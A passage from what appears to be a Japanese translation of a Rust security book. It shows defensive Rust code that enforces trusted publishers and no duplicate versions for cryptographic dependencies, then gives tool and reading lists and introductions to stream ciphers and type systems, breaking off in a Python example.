サプライチェーン保証は、暗号依存関係にとって特に重要です。暗号依存関係は、システム全体のセキュリティ特性に大きすぎるほどの影響を与える可能性が高いためです。スタックの上位にあるアプリケーションロジックは、暗黙的または明示的に暗号ライブラリに依存しがちです。

厳格な命令を受けたと想像してください。以下の2つの要件は、100万行超のモノレポ全体で必ず満たされなければなりません。

  1. 信頼済み公開元 - すべての直接的な(例: 非推移的な)暗号依存関係は、信頼済み公開元の小さな許可リストから取得されなければなりません。初期状態ではRustCrypto組織のみです20

    • 根拠: RUSTSEC21アラート量と、バックドア混入リスクの両方を最小化するため。

    • スコープ: 直接依存関係のみ。明示的に信頼する公開元は、引き続き自身の依存関係を選択できます。

  2. 重複なし - すべての直接および間接の暗号依存関係は、常にツリー内に正確に1つのバージョンだけを持たなければなりません。

    • 根拠: 肥大化とプログラマーエラー(例: APIバージョン間の挙動の違いが不明瞭)の両方を最小化するため。

    • スコープ: すべての依存関係。重複による肥大化はおそらく回避可能です。いずれかのクレート所有者が最新への更新を検討すべきです。


サプライチェーンポリシー適用前
図2: サプライチェーンポリシーなし。有機的な依存関係の拡散を許容。
サプライチェーンポリシー適用後
図3: ポリシー適用済み: 信頼済み公開元のみ、重複なし。アプリ全体がよりスリムに。

このポリシー(以前のNonceSafeAead APIをうまく補完するもの)をどのように強制適用すればよいのでしょうか? 残念ながら、本稿執筆時点(v0.18)では、これらの具体的な要件を、人気があり成熟した依存関係グラフリンターであるcargo deny22でエンコードすることはできません。 cargo_metadata23の上に、カスタムの道具立てを用意する必要があります!

まずは、ビルダーパターン24の定型コード(公開API)から始めましょう。

use cargo_metadata::{CargoOpt, Metadata, MetadataCommand, Package, semver::Version};
use std::{
    cell::OnceCell,
    collections::{BTreeMap, BTreeSet, HashMap},
    fs,
    path::{Path, PathBuf},
};

/// A [`Policy`] violation.
/// Note: error variants do expose/re-export error enums from 3rd-party crates.
#[derive(Debug, Clone, PartialEq, Eq, PartialOrd, Ord)]
#[allow(missing_docs)]
pub enum PolicyViolationError {
    DuplicateCrateVersions(Vec<String>),
    DisallowedCategoryPublisher(String, String),
    MetadataReadError(String),
}

/// A builder for supply-chain policies.
#[derive(Default)]
pub struct Policy {
    // Path to `Cargo.toml` we're analyzing
    manifest_path: PathBuf,
    // Workaround for `OnceCell::get_or_try_init` being nightly-only in Rust 1.88
    cargo_metadata_result: OnceCell<Result<Metadata, PolicyViolationError>>,
    // {category}
    // `String`s lower-cased at construction time
    no_dup_cats: Option<BTreeSet<String>>,
    // category: {publisher}
    // `String`s lower-cased at construction time
    cat_pubs: Option<BTreeMap<String, BTreeSet<String>>>,
}

impl Policy {
    /// Create a new policy, construct with path to workspace or crate-specific `Cargo.toml`.
    pub fn new<P>(manifest_path: P) -> Result<Policy, std::io::Error>
    where
        P: AsRef<Path>,
    {
        let manifest_path = fs::canonicalize(manifest_path)?;
        Ok(Self {
            manifest_path,
            ..Default::default()
        })
    }

    /// Rule 1 (Category-specific Trusted Publishers):
    /// Ensure that a given category only contains crates from a fixed set of trusted publishers.
    /// Assumes input iterator format `(category_1, publisher_1)...(category_n, publisher_n)`.
    /// More then one publisher per category is supported.
    pub fn allowed_category_publishers<I, S>(mut self, cat_pubs: I) -> Policy
    where
        I: Iterator<Item = (S, S)>,
        S: Into<String>,
    {
        let mut cat_pubs = cat_pubs.peekable();
        if cat_pubs.peek().is_some() {
            let mut cat_map = BTreeMap::new();
            for (c, p) in cat_pubs {
                cat_map
                    .entry(c.into().to_ascii_lowercase())
                    .or_insert(BTreeSet::new())
                    .insert(p.into().to_ascii_lowercase());
            }
            self.cat_pubs = Some(cat_map);
        } else {
            self.cat_pubs = None;
        }

        self
    }

    /// ...省略: ルール2(カテゴリ固有の重複なし)...

    /// Evaluate a built policy against a given workspace/crate.
    pub fn run(&self) -> Result<(), PolicyViolationError> {
        self.run_allowed_category_publishers()?;
        self.run_no_duplicate_crate_categories()?;
        Ok(())
    }

このセクションの長さを抑えるため、2つ目のポリシー要件(暗号依存関係の重複なし)に関する足場の実装は省きます。 ただし、そのロジックは最初の要件と機械的に似ており、両方のルールに対応した完全で実行可能なおよそ300行のソースは、code_snippets/chp14/tactical_trust/supplychain_policyにあります。

上記のビルダーは、暗号クレートに固有のものを何もエンコードしていないことに注意してください。このインターフェイスは任意のカテゴリと公開元をサポートします。 実際の使用例を見る前に、ユーザーがallowed_category_publishersの呼び出しでcat_pubsを初期化するときに指定した信頼済み公開元に対する強制ロジックを掘り下げましょう(以下はプライベートAPIです)。

    /// Collect dependency metadata for the entire workspace with all features enabled.
    fn metadata(&self) -> Result<&Metadata, PolicyViolationError> {
        let meta_result = self.cargo_metadata_result.get_or_init(|| {
            MetadataCommand::new()
                .manifest_path(&self.manifest_path)
                .features(CargoOpt::AllFeatures)
                .exec()
                .map_err(|e| PolicyViolationError::MetadataReadError(e.to_string()))
        });

        meta_result.as_ref().map_err(|e| e.to_owned())
    }

    /// Get repo's publisher by parsing its URL.
    // SECURITY: `dep.authors` isn't reliable - anyone can set any value in their crate's `Cargo.toml`.
    fn get_repo_publisher(dep: &Package) -> Result<String, PolicyViolationError> {
        let Some(repo_url) = dep
            .repository
            .as_ref()
            .and_then(|url| url::Url::parse(url).ok())
        else {
            return Err(PolicyViolationError::MetadataReadError(format!(
                "Missing or invalid repo URL for crate '{}'",
                dep.name
            )));
        };

        // If `repo_url` == "https://github.com/RustCrypto/AEADs/tree/master/aes-gcm"
        // Then `repo_publisher` == "RustCrypto"
        let Some(repo_publisher) = repo_url.path_segments().and_then(|mut path| path.next()) else {
            return Err(PolicyViolationError::MetadataReadError(format!(
                "Missing publisher name for repo URL '{repo_url}'"
            )));
        };

        Ok(repo_publisher.to_string())
    }

    /// Run category-specific trusted publishers check.
    fn run_allowed_category_publishers(&self) -> Result<(), PolicyViolationError> {
        let Some(ref cat_pubs) = self.cat_pubs else {
            return Ok(());
        };

        let metadata = self.metadata()?;

        // ID direct dependencies
        let direct_deps = metadata
            .packages
            .iter()
            .filter(|pkg| pkg.manifest_path.as_path() == self.manifest_path)
            .map(|pkg| &pkg.dependencies)
            .flatten()
            .collect::<Vec<_>>();

        // Get full crate info for each ID-ed direct dependency
        let direct_dep_crates = metadata
            .packages
            .iter()
            .filter(|pkg| direct_deps.iter().any(|dep| dep.name == *pkg.name));

        // Find disallowed category-specific publishers, if any
        for dep_crate in direct_dep_crates {
            for cat in &dep_crate.categories {
                if let Some(expected_pubs) = cat_pubs.get(&cat.to_ascii_lowercase()) {
                    let actual_publisher = Self::get_repo_publisher(dep_crate)?.to_lowercase();
                    if !expected_pubs.contains(&actual_publisher) {
                        return Err(PolicyViolationError::DisallowedCategoryPublisher(
                            cat.clone(),
                            actual_publisher,
                        ));
                    }
                }
            }
        }

        Ok(())
    }
  • fn metadataは、すべての機能を有効にした状態で、ワークスペース全体の依存関係メタデータをメモ化して収集します。ユーザーが10種類の異なるクレートカテゴリに対して10個の要件を指定したとしても、収集は正確に1回だけ実行されます(Policyフィールドcargo_metadata_resultOnceCell25であることを思い出してください)。

  • fn get_repo_publisherは、リポジトリの所有者をそのURLから解析します。このロジックは、GitHubとGitLabの両方のURLについて公開ユーザーまたは組織を抽出しますが、注意してください。このセクションのサプライチェーン側に含まれるコードはいずれも、本番利用に十分な堅牢性があるとは主張していません!

    • cargo_metdataPackage構造体にあるauthorsフィールド26には依存できません。これは、公開元になりすますために悪意を持って設定される可能性があるためです。代わりに、公開元識別の信頼できる情報源として、[おそらく有効な]URLを使用します。PKIは長期的にはより優れた解決策になりますが、これについては後述します。
  • fn run_allowed_category_publishersは、信頼済み公開元(要件1)ロジックの大部分です。対象プロジェクト(Policy::newCargo.tomlパスを渡す対象)の直接依存関係を識別し、そのリストを反復して、ユーザー指定カテゴリに属しているが、そのカテゴリについてユーザーが許可した公開元から取得されていないクレートを探します。

    • クレートカテゴリラベルは任意ですが、ビルダーを拡張して「任意カテゴリまたはカテゴリ欠落に対する許可済み公開元」をサポートできます。これにより、想定外の公開元が紛れ込まないようにできます。また、私たちのポリシー評価ロジックは、ユーザー入力のカテゴリ名を検証していません。タイプミスがあるとチェックに合格してしまいます!カテゴリは固定されているため27、検証の追加は簡単でしょう。

では、高度なポリシー要件(カテゴリ固有の信頼済み公開元と重複排除)の強制適用をどのように展開すればよいのでしょうか? 強硬な選択肢は、build.rs(Rustビルドスクリプト28)を活用することです。

use supplychain_policy::Policy;

fn main() {
    println!("cargo:rerun-if-changed=build.rs");
    println!("cargo:rerun-if-changed=Cargo.toml");

    let manifest_dir = std::env::var("CARGO_MANIFEST_DIR").expect("CARGO_MANIFEST_DIR var not set");
    let manifest_path = std::path::PathBuf::from(manifest_dir).join("Cargo.toml");

    Policy::new(&manifest_path)
        .expect("Invalid manifest path")
        .allowed_category_publishers([("cryptography", "rustcrypto")].into_iter())
        .no_duplicate_crate_categories(["cryptography"].into_iter())
        .run()
        .unwrap()
}

とはいえ、サプライチェーンポリシー違反でビルドを失敗させることは、強い規制上またはビジネス上の必要性がない限り、小規模な組織であっても、他の開発チームと良好な関係を築くための最善策ではないでしょう。 幸い、上記のPolicyビルダーはCLIツールで簡単にラップでき、ワークスペースごとに、ブロッキングまたは非ブロッキングなCIパイプラインへデプロイできます。 非ブロッキングの失敗は一元的に追跡し、自動的にトリアージできます。 上の概念実証では例外(例: 「この特定の名前付き重複は許可するが、カテゴリの残りには引き続き適用する」)に対応していませんでしたが、[バージョン管理され、CODEOWNERS で保護された] 設定ファイルから個々のクレート名/パブリッシャー名を読み取るようにすれば、すぐに拡張できます。 正当な例外を、文書化された根拠とともにサポートするのは現実的です――「完璧は善の敵」です。

Rustにおけるサプライチェーンセキュリティには、他にどのような選択肢がありますか?

幸いなことに、Rustのサプライチェーンセキュリティツールの状況は進化しています。 知っておくべきサンプルプロジェクト:

  • シグネチャベースの脆弱性アラート: 既知の脆弱性を持つ21クレートが依存関係ツリーに含まれていないかスキャンする無料ツールである cargo audit29 は、本番CIに必須です。ただし、「到達可能性分析」(コードが脆弱な関数を直接または間接的に呼び出すかを判断するためのコールグラフ走査)がないため、誤検知が発生します。

  • ヒューリスティックベースのマルウェア検出: Linux Foundationは、Goの capslock30 ツールに対応するRust版の開発31に資金提供しています。ほかのユースケースに加えて、capslock は特定の依存関係についてケイパビリティ32(ファイルI/O、ネットワーク接続、コマンド実行など)を列挙し、それらが新しいバージョンで突然変化した場合に警告します。

  • 信頼できるパブリッシャー: 将来のPKIイニシアチブ33により、パブリッシャーを暗号学的に識別できるようになる可能性があります。これは、上のURL解析からの大きな改善です。関連するRFC34では、PyPI35の足跡をたどり、信頼できるインフラストラクチャからクレートを公開するためのサポートが概説されています。PKIは対応能力の向上も意味しますが、ビルドマシンが証明書失効リスト(CRL)を取得する頃には、実際の攻撃はすでに成功している可能性がある点に注意してください。

Rustの意図的に最小限な std ライブラリは組み込み開発にとって恵みですが、日常的なタスクに対してサードパーティ製クレートに過度に依存することを促してしまいます。 対照的に、Goの標準ライブラリは、ビルドフラグを切り替えるだけでFIPS 140-3準拠の暗号36を提供し、Goツールチェーンを更新するだけで既存のプログラムにセキュアなRNG37をバックポートしました!

要点

「信頼は滴で得られ、バケツで失われる」。 おそらく格言でしょうが、商用ソフトウェアの文脈では特に真実味があります――少数の独占企業を除けば、どんな勝者もいつでも王座から引きずり下ろされ得るグローバルな競争です。

さて、信頼のための技術的メカニズムは暗号です。 有用な暗号の大半は、小さなマイクロコントローラー上であれ強力なサーバー上であれ、コードという形で実装され、実行されています。 そしてコードを正しく書くことは、特に大量に出荷している場合には、悪名高いほど困難です。

ソフトウェア品質は、実用的に測定するのと同じくらい、あるいはそれ以上に、確実に再現することが難しいものです。 私たちの最大の希望は、再現性を自動化することです。 品質基準がセキュリティである場合、自動化はプラットフォームセキュリティエンジニアリング機能の目標の1つです。 それは少なくとも、より広範なエンジニアリング組織に歩調を合わせる必要があり、理想的にはすべての機能チームを加速するべきです。

この最初のセクションでは、API(ノンスの再利用)とサプライチェーン(依存関係ポリシー)のレベルにおける、プラットフォーム暗号の問題に対する小規模なソリューションを探りました。 意図しているのは、人間のエラーに対するガードレールを自動化することですが、現在ではLLMによる自動補完が脆弱性率を高めています38 39。 良い知らせは、上記の技術がどちらの発生源からのリスクも軽減するはずだということです。 コンパイル時チェックは、コードがどのように生成されたかを気にしません。

2番目で最後のセクションでは、範囲はより狭くなりますが、より深く掘り下げます。 信頼における古典的なトピック、情報漏えい脆弱性を探ります。 パート2では、より長く、最先端の技術的概念に取り組みます。 今回はコーヒーが欲しくなるでしょう。

それでも、きっと楽しいはずです。 信じてください。


  1. The Matter of Heartbleed. Zakir Durumeric, Frank Li, James Kasten, Nicolas Weaver, Johanna Amann, Jethro Beekman, Mathias Payer, David Adrian, Michael Bailey, Vern Paxson, J. Alex Halderman (2014).

  2. Ivory Tower. Wikipedia (2025年閲覧).

  3. Good new, everyone!. Futurama Wiki (2025年閲覧).

  4. [個人的なお気に入り] Dave Wong著 Real-world Cryptography. David Wong (2021).

  5. Soatok’s Cryptography Blog. Soatok (2025年閲覧).

  6. Real World Crypto Symposium. IACR (2025年閲覧).

  7. Key Reinstallation Attacks: Forcing Nonce Reuse in WPA2. Mathy Vanhoef, Frank Piessens (2017). ↩2

  8. PS3 Epic Fail. FailOverflow (2010).

  9. トレイト aead::Aead. RustCrypto organization (2025年閲覧).

  10. API aead::Aead::encrypt. RustCrypto organization (2025年閲覧).

  11. トレイト CryptoRng. RustCrypto organization (2025年閲覧).

  12. Biased Nonce Sense: Lattice Attacks against Weak ECDSA Signatures in Cryptocurrencies. Joachim Breitner, Nadia Heninger (2019).

  13. AES-GCM-SIV: Nonce Misuse-Resistant Authenticated Encryption. S. Gueron, A. Langley, Y. Lindell (2019).

  14. AEADs: getting better at symmetric cryptography. Adam Langley (2015).

  15. XChaCha: eXtended-nonce ChaCha and AEAD_XChaCha20_Poly1305. S. Arciszewski (2020).

  16. aws-lc-rs. Amazon (2025年閲覧).

  17. symcrypt. Microsoft (2025年閲覧).

  18. Unsafe Rust in the Wild: Notes on the Current State of Unsafe Rust. Rust Foundation (2024).

  19. Why Bloat Is Still Software’s Biggest Vulnerability: A 2024 plea for lean software. Bert Hubert (2024).

  20. RustCryto. RustCrypto organization (2025年閲覧).

  21. Rust セキュリティアドバイザリデータベース. Rust Secure Code Working Group(2025年参照)。 ↩2

  22. cargo_deny. Embark Studios(2025年参照)。

  23. cargo_metadata. Oliver Schneider(2025年参照)。

  24. Rust デザインパターン: Builder. Rust Unofficial(2025年参照)。

  25. OnceCell. The Rust Project (2025年閲覧).

  26. cargo_metadata::Package. Oliver Schneider(2025年参照)。

  27. カテゴリ. crates.io (2025年閲覧).

  28. Rust ビルドスクリプト. Cargo チーム(2025年参照)。

  29. cargo_audit. Alex Gaynor, Tony Arcieri, Sergey Davidoff (2025年閲覧).

  30. capslock. Google(2025年参照)。

  31. CRustabilities: ケイパビリティ、Rust、Capslock. Alpha-Omega(2025年参照)。

  32. ケイパビリティ. Google(2025年参照)。

  33. アーティファクト署名による Rust のサプライチェーンセキュリティの向上. Adam Harvey(2023年)。

  34. crates.io への CI 公開におけるセキュリティ改善. The Rust Project(2025年参照)。

  35. 「Trusted Publishers」の紹介. Dustin Ingram(2023年)。

  36. FIPS 140-3 準拠. Go Project(2025年参照)。

  37. Go 1.22 におけるセキュアな乱数. Russ Cox, Filippo Valsorda(2024年)。

  38. ユーザーは AI アシスタントを使うと、より安全でないコードを書くのか?. Neil Perry, Megha Srivastava, Deepak Kumar, Dan Boneh(2023年)。

  39. キーボードの前で眠っているのか? GitHub Copilot のコード貢献のセキュリティ評価. Hammond Pearce, Baleegh Ahmad, Benjamin Tan, Brendan Dolan-Gavitt, Ramesh Karri(2025年)。

付録


付録の補足コンテンツは、次のように分類されています。

  • セットアップ セクションでは、開発環境の構成と使用方法を詳述します。

  • インベントリ セクションでは、リソースを一覧化します。取り上げたツールや推奨するその他の書籍などです。

  • 基礎 セクションでは、主要な概念について、簡潔で任意の導入を提供します。さまざまな背景を持つ読者に対応するためです。

  • Misc(その他)セクションでは、重要ではあるものの、本書の流れには自然に収まらないトピックを扱います。

付録の各セクションは、単なる付け足しではありません。主要な章と同じ注意と労力を払って書かれています。


実務で使うツール

これは、本書で使用するすべてのソフトウェア保証ツールとRustライブラリの完全な一覧です。 いくつかについては深く経験しますが、大半は触りだけになります。 以下の各名称は、そのツールのホームページまたはドキュメントへのリンクです。

Rustのオープンな形式検証エコシステム

オープンソースの選択肢が幅広くそろっており、Rustの保証エコシステムは活況を呈しています。 Rust Formal Methods Interest Group (RFMIG) は検証ツールの一覧を管理しており、こちらから利用できます。これは、本書で扱うサンプルよりも包括的です。

中核となるツール群

静的保証

このカテゴリのほとんどのツールは、特定のバグが存在しないことを証明するために、ソースレベルのセマンティクスについて推論します。 これらのツールはコンパイラを信頼し、ひいてはそのバックエンドも信頼します。

動的保証

このカテゴリのほとんどのツールは、特定のバグを発見したりプログラムの振る舞いを観測したりするために、コンパイル済みの実行可能ファイルをテストします。 これらのツールは、信頼の連鎖からコンパイラを取り除きます。

運用上の保証

システムのライフサイクルを支援するツールです。

Rustエコシステム

crates.io でホストされているオープンソースのバイナリとライブラリです。

開発

  • clap - コマンドライン引数の解析。
  • serde* - Rust構造体のシリアライズとデシリアライズ。
  • tinyvec - !#[no_std]#![forbid(unsafe_code)]Vec 代替。
  • micromath - !#[no_std]#![forbid(unsafe_code)] の浮動小数点近似。
  • lazy_static* - 実行時に初期化される静的変数。
  • owo-colors - 組み込み向けのテキスト色付け。

テスト

  • criterion - マイクロベンチマーク用ツールセット。
  • cargo-modules - プロジェクトのモジュールアーキテクチャのテキスト表示。
  • cargo-audit - 既知の脆弱なバージョンをプロジェクトの依存関係グラフから検索。
  • cargo-binutils - Linuxバイナリのプロパティと内容を調査。
  • cargo-bloat - 実行可能ファイルのどの部分がサイズに寄与しているかを特定。
  • siderophile* - unsafe コードが集中している箇所をプロジェクトのコールグラフから検索。
  • cargo-tarpaulin* - コードカバレッジレポート (MC/DC対応を計画中)。

その他

  • xgadget* - ROP/JOPエクスプロイト開発。

* == 変更される可能性があります。本書は作業中です。

本書が成熟するにつれて、追加のツールが加えられる可能性があります。可能性は低いものの、ツールが削除されることもあります。

一覧: 推奨図書

これは推奨図書の完全な一覧であり、脚注で [個人的なお気に入り] というタグが付いている書籍です。 ここに掲載されている各書籍は、その分野で必読の一冊であるか、手元に置いておく価値のある参考資料であると、私たちは心から考えています。

以下のアフィリエイトリンクのいずれかを使って書籍を購入していただくと、購入される書籍に加えて、High Assurance Rust の支援にもなります!

Rust


  • Programming Rust: Fast, Safe Systems Development. Jim Blandy, Jason Orendorff, Leonora Tindall (2021).


ソフトウェア


  • Computer Systems: A Programmer’s Perspective. Randal Bryant, David O’Hallaron (2015).



セキュリティ


  • Practical Binary Analysis: Build Your Own Linux Tools for Binary Instrumentation, Analysis, and Disassembly. Dennis Andriesse (2018).



追加リソース

このセクションでは、プロフェッショナルな開発者向けの参考リソースを集めています。 網羅的なものではなく、厳選されたものです。

公式

非公式

基礎: ストリーム暗号

暗号学、すなわち通信を保護する技術の研究は、コンピューターサイエンスに先立つ数学の一分野です。 セキュリティエンジニアの大多数は、暗号学の専門家である必要はありません。 しかし、すべてのセキュリティエンジニアは暗号学に対して健全な敬意を持つべきです。

私たちの社会が依存しているシステムには、金融取引を支えるものを含め、すべて何らかの「信頼」という概念があります。 通信相手は、自分が「話している」相手がなのかを確信を持って識別できます(認証)。 そして、その「会話」がプライベートであると安心できます(機密性)。

暗号ライブラリは、認証や機密性といった性質を支える技術的な仕組みです。 その信頼を構築し、維持するための中核的な手段です。 それらがなければ、現代のデジタルサービスのほとんどは実用的ではないでしょう。

セキュリティエンジニアを志す者として、既存の暗号 API を活用する前に理解に努めるべき基本概念があります。 まして、自分たちで暗号アルゴリズムを実装する前にはなおさらです(これは一般には推奨されません)。

大まかに言うと、対称暗号化はどのように機能するのか?

Alice と Bob という典型的な 2 人のユーザーが、安全に通信したいと考えています。 しかし問題があります。 彼らは、公共のインターネットや、2 基の低軌道(LEO)衛星を隔てる物理空間のような、安全でないチャネルを介してメッセージを交換する必要があります。 Mallory という名前の悪意ある攻撃者は、安全でないチャネルを通じて送信されるデータを閲覧し、場合によっては変更できます。

暗号化は機密性を提供します。これは、Alice が送信したメッセージの平文の内容を Bob だけが読め、その逆も同様であるという数学的な保証です。 Mallory は蚊帳の外に置かれます。彼女が捕捉したどのメッセージも、暗号化されているため、ランダムなごみと見分けがつかないように見えます。 メッセージの暗号化された、理解不能な形式は暗号文と呼ばれます。

実世界の通信プロトコルは、データ完全性(Mallory が転送中に Alice のメッセージを変更していないことの証明)も保証し、データ認証(Bob が偽物ではなく本物の Alice と話していることの証明)も提供します。 しかし、この議論の目的上、私たちが関心を持つのは機密性だけです。

では、Alice と Bob は暗号化を使ってどのように通信の機密性を保てるのでしょうか? 対称(別名「秘密鍵」)暗号は、わかりやすい選択肢です。 Alice と Bob が事前に安全なチャネルを使って暗号化について合意できれば、同じ対称暗号アルゴリズム(第 2 章の RC4 など)を使って、その後の安全でないチャネル上の通信を保護できます。

安全なチャネルは Mallory がアクセスできないものである必要があります。なぜなら、Mallory が鍵を知らない場合にのみ機密性を実現できるからです(したがって秘密鍵です)。 もしかすると Alice と Bob は、通信を予定している数か月前に一度対面で会い、鍵について合意するかもしれません。 安全なチャネルを用意するのは、多くの場合面倒です。 ときにはまったく実用的でないこともあります。

非対称(別名「公開鍵」)暗号は、この問題に対処します。 しかしそれは、この議論の範囲外の話題です。

Kerckoffs の原理

Mallory は秘密鍵を知っていてはいけません。 しかし、おそらく意外なことに、Alice と Bob が使用する正確な暗号化アルゴリズムを Mallory が知っているほうが、実際には望ましいのです!

Kerchoff の原理1は、暗号システムは、鍵を除くすべてを攻撃者が知っていたとしても安全であるべきだと述べています。 Alice と Bob の通信における安全性の保証は、よく知られ、十分に検証された暗号化アルゴリズムの数学的性質に由来すべきであり、特定の詳細を隠すことに由来すべきではありません(それは「隠蔽によるセキュリティ」であり、実際にはしばしば失敗する戦略です)。

わかりました。ではストリーム暗号とは何ですか?

Alice と Bob が秘密鍵について合意した後で、実際に暗号化を行うために使用できる対称アルゴリズムの一種です。

ストリーム暗号は、理論上は 1 ビットずつ暗号化できます。 ストリーム暗号はデータを連続したビットストリームとして「考え」ます。 実際には、現代のコンピューターはバイトアドレス可能なメモリを使用するため、ほとんどの実装は 1 バイト(8 ビット)ずつ暗号化します。

対照的に、ブロック暗号はデータを固定サイズのチャンクに分割する必要があります。 一般的な Advanced Encryption Standard(AES)2では、ブロックは 128 ビット(16 バイト)でなければなりません。

ストリーム暗号とブロック暗号はどちらも同じ目的を達成しますが、ストリーム暗号はメモリフットプリントが小さく、実行時間が速い傾向があります3。 そのため、低リソースの組み込みシステムやリアルタイムデータ処理によく使用されます。

任意のストリーム暗号アルゴリズムの「賢さ」は、有限サイズの鍵(RC4 では Alice と Bob が 40 ビットから 2,048 ビットまでの任意の長さを選べます)を、入力データと同じ長さのキーストリームへ変換する方法にあります(入力データは任意の長さになり得ます。たとえば 10 GB のファイルを暗号化する必要があるかもしれません)。

ストリーム暗号アルゴリズム設計の課題は、予測不可能なキーストリームを作ることです。 暗号化と復号は決定論的な操作であるにもかかわらず、Mallory からメッセージを効果的に隠すためには、キーストリームは(再現不可能な物理現象を測定して生成されたかのように)真にランダムに見えなければなりません。 暗号学者は、キーストリーム生成関数を*暗号論的に安全な疑似乱数生成器(CSPRNG)*と呼びます。

予測不可能なキーストリームを生成できれば、暗号化は簡単です。キーストリーム内のすべてのビット/バイトを、平文内の対応するビット/バイトと XOR して暗号文を生成します。

第 2 章の RC4 実装を見れば、これが実際にどのように機能するのかを感じ取れるはずです!

安全でないチャネル上での二者間通信。Paar らによる "Understanding Cryptography"、38 ページに基づく。

暗号学についてさらに学ぶにはどこを見ればよいですか?

Paar と Pelzl による Understanding Cryptography4 と、それに対応する動画講義5 をお勧めします。

多くの暗号学の本は博士課程レベルの数学の背景を前提としており、平均的な実務エンジニアにはほとんど読めません。 他の本はあまりにも単純化しすぎて、すべての数学を漫画のような図に置き換えています(このセクションもその罪を犯しています)。 Understanding Cryptography はその中間にある良い本です。学部レベルの数学経験があれば理解しやすい一方で、本物でもあります。


  1. ケルクホフスの原理。Wikipedia(2022年閲覧)。

  2. Advanced Encryption Standard。Wikipedia(2022年閲覧)。

  3. これは一般化した説明であり、性能特性はアルゴリズムと実装によって大きく異なります。また、特定のアルゴリズムがハードウェアで実装されている場合もあり、その場合は同等のソフトウェア実装よりもはるかに高速になります。たとえば、現代の x86 プロセッサは AES 専用の命令セット拡張を提供しており、その高速化は最大 13 倍に達することがあります6

  4. [個人的なお気に入り] 暗号理論を理解する。Christof Paar、Jan Pelzl(2009)。

  5. オンライン暗号理論コース。Christof Paar、Jan Pelzl(2009)。

  6. Advanced Encryption Standard New Instructions(AES-NI)分析:セキュリティ、性能、消費電力。Eslam AbdAllah、Yu Rang Kuang、Changcheng Huang(2020)。

基礎: 型システム

注: このセクションは作業中です。将来、型規則のような、より形式的な側面を扱うために拡張または改訂される可能性があります。

Rust の最大の強みは、その型システムです。 したがって、型について議論する必要があります。 これは奥深いトピックであり、その専門分野である型理論は、コンピュータプログラミングよりも前から存在します。 数ページでそれを十分に扱うことはできません。

静的型システムは、おそらく現存する静的解析の中で最も広く普及し、強力な形式です。 型には 2 つの役割があると考えてみましょう。

1. 抽象データを物理マシンに対応付ける

型は、データがどのように読み書きされるかについての仕様です。 ハードウェアという機械的なレベルにおいてです。 メモリ内では、あらゆる構成要素は単なるビットパターン、つまり 01 の列にすぎません。 型は、人間の推論に適した言語レベルのオーバーレイを提供します。

たとえば、整数型は、ビット列を、現代の「64 ビット」マシンでは一度に 64 ビットずつ、整数として解釈します。 それらは、「レジスタ」(小さく、すぐにアクセスできる、CPU 固有の塊だと考えてください)に格納されているとき、数学的に操作できます(加算、減算、乗算など)。

第 2 章の incr 関数を振り返ってみましょう。 整数へのポインタを引数として受け取る関数がありました。 C では、以下のコードはポインタ ab がエイリアスしないことを保証できませんでした。 また、どちらのポインタも有効なメモリ位置を指していることを保証できませんでした。

void incr(int* a, int* b) {
    *a += *b;
}

Rust への移植では、その両方の問題が解消されました。

#![allow(unused)]
fn main() {
fn incr(a: &mut isize, b: &isize) {
    *a += *b;
}
}

どちらの言語にも、意味的な重ね合わせを行う型システムがあります。 それらはソースコード上の操作を物理ハードウェア上の操作に対応付けます。

  1. RAM アドレスからビットパターン(整数型 ab の値)をレジスタへ読み込む(デリファレンス読み取り)。

  2. 2 つの CPU レジスタの値を、整数であるかのように、CPU 命令を使って加算する(数学的操作)。

  3. 結果をメモリへ書き戻す(デリファレンス書き込み)。

2. 排除によってプログラムの振る舞いを検証する

型には、ハードウェアというソーセージがどのように作られるのかを解明することに加えて、あるいはそれと一体となって、もう 1 つの役割があります。 型は、排除によって、プログラムが何をするかを検証します。 この主題に関する画期的な教科書1は、次のように述べています。

型システムとは、フレーズをそれらが計算する値の種類に従って分類することにより、特定のプログラムの振る舞いが存在しないことを証明するための扱いやすい構文的手法である。

これは本質的に、型は起こり得る振る舞いを制約できるため、特定のことが起こらないと確信できる、という意味です。 Rust の incr 関数の場合、それは 2 つの問題状態(エイリアシングと無効なポインタ)を完全に排除することを意味します。

特定の振る舞いが存在しないことを、どのように証明するのでしょうか。 大まかには、望ましい振る舞いに基づいて値をグループ化することによってです。 たとえば次のとおりです。

  • グループ化:012、…、255 は、型 u8(8 ビット符号なし整数)にグループ化できます。

  • 振る舞いの不在の証明: u8 オペランドに適用された + 演算子は、連結ではなく加算を行います。したがって、プログラムが 2 つの符号なしバイトを連結することは決してないと保証できます。その操作はこの言語では意味を持ちません。

静的型システムと動的型システムという 2 つの大きな型システムのクラスの違いは、その不在の証明をどのように行うかにあります。

  • 静的型付けはコンパイル時に証明を行います。プログラムが実行時にその振る舞いを決して示さないことを保証します。

    • 変数には型があります。その結果として、値にも型があります。そして、あらゆる可能な実行について、型はコンパイル時に既知です。
  • 動的型付けは実行時に値に型をタグ付けします。操作の合法性はプログラムの実行中に検査されます。検査が失敗した場合、プログラムは終了するか、例外を投げる可能性があります。

    • 値には型がありますが、変数には型がありません。そして、値の型は実行時にのみ判明します。

ケーススタディ: 動的型付け

ある考え方を自分のものにする最善の方法は、反例を見ることである場合があります。 対比は理解を深める助けになります。 少しの間、Rust の静的型から離れてみましょう。

Python は、初心者に優しい構文と大規模なプロフェッショナルユーザーベースを持つスクリプト言語です。 Rust とは異なり、Python は動的型付けです。 多くのプロジェクトでは、これにより開発時の摩擦が減り、プロトタイピングの速度が向上します。 インタープリタの抽象化により、開発者は、それを実行するマシンではなく、出荷するプロダクトに集中できます。

しかし、低消費電力の組み込みセンシングから高性能な分散ワークロードまで、Python がまったく適さないユースケースの世界があります。 高信頼性アプリケーションはその一部です。 比較的遅い性能も要因ですが、信頼性の低さのほうが大きな欠点です。 その理由を見てみましょう。

次のコマンドで Python の Read Execute Print Loop(REPL)を起動するところから始めます。

python3

REPL により、入力したプログラムをその場で実行できます。これは動的型付けによって可能になる便利なワークフローです。 2 つの変数 wordx を宣言し、それらの型を調べます。

>>> word = "Hello"
>>> print(type(word))
<class 'str'>
>>> x = 3
>>> print(type(x))
<class 'int'>

word(文字列)に x(整数)を掛けることは合法です。 結果は次のとおりです。

>>> print(word*x)
HelloHelloHello

しかし、文字列に文字列(word 自身)を掛ける場合を考えてみてください。 これは一般には意味をなさないため、エラーになります。 Rust はこのエラーを、コードを出荷するずっと前のコンパイル時に捕捉します。 しかし Python はそれを実行時に、しかもその特定の行が実行された場合にのみ投げます。

>>> print(word*word)
Traceback (most recent call last):
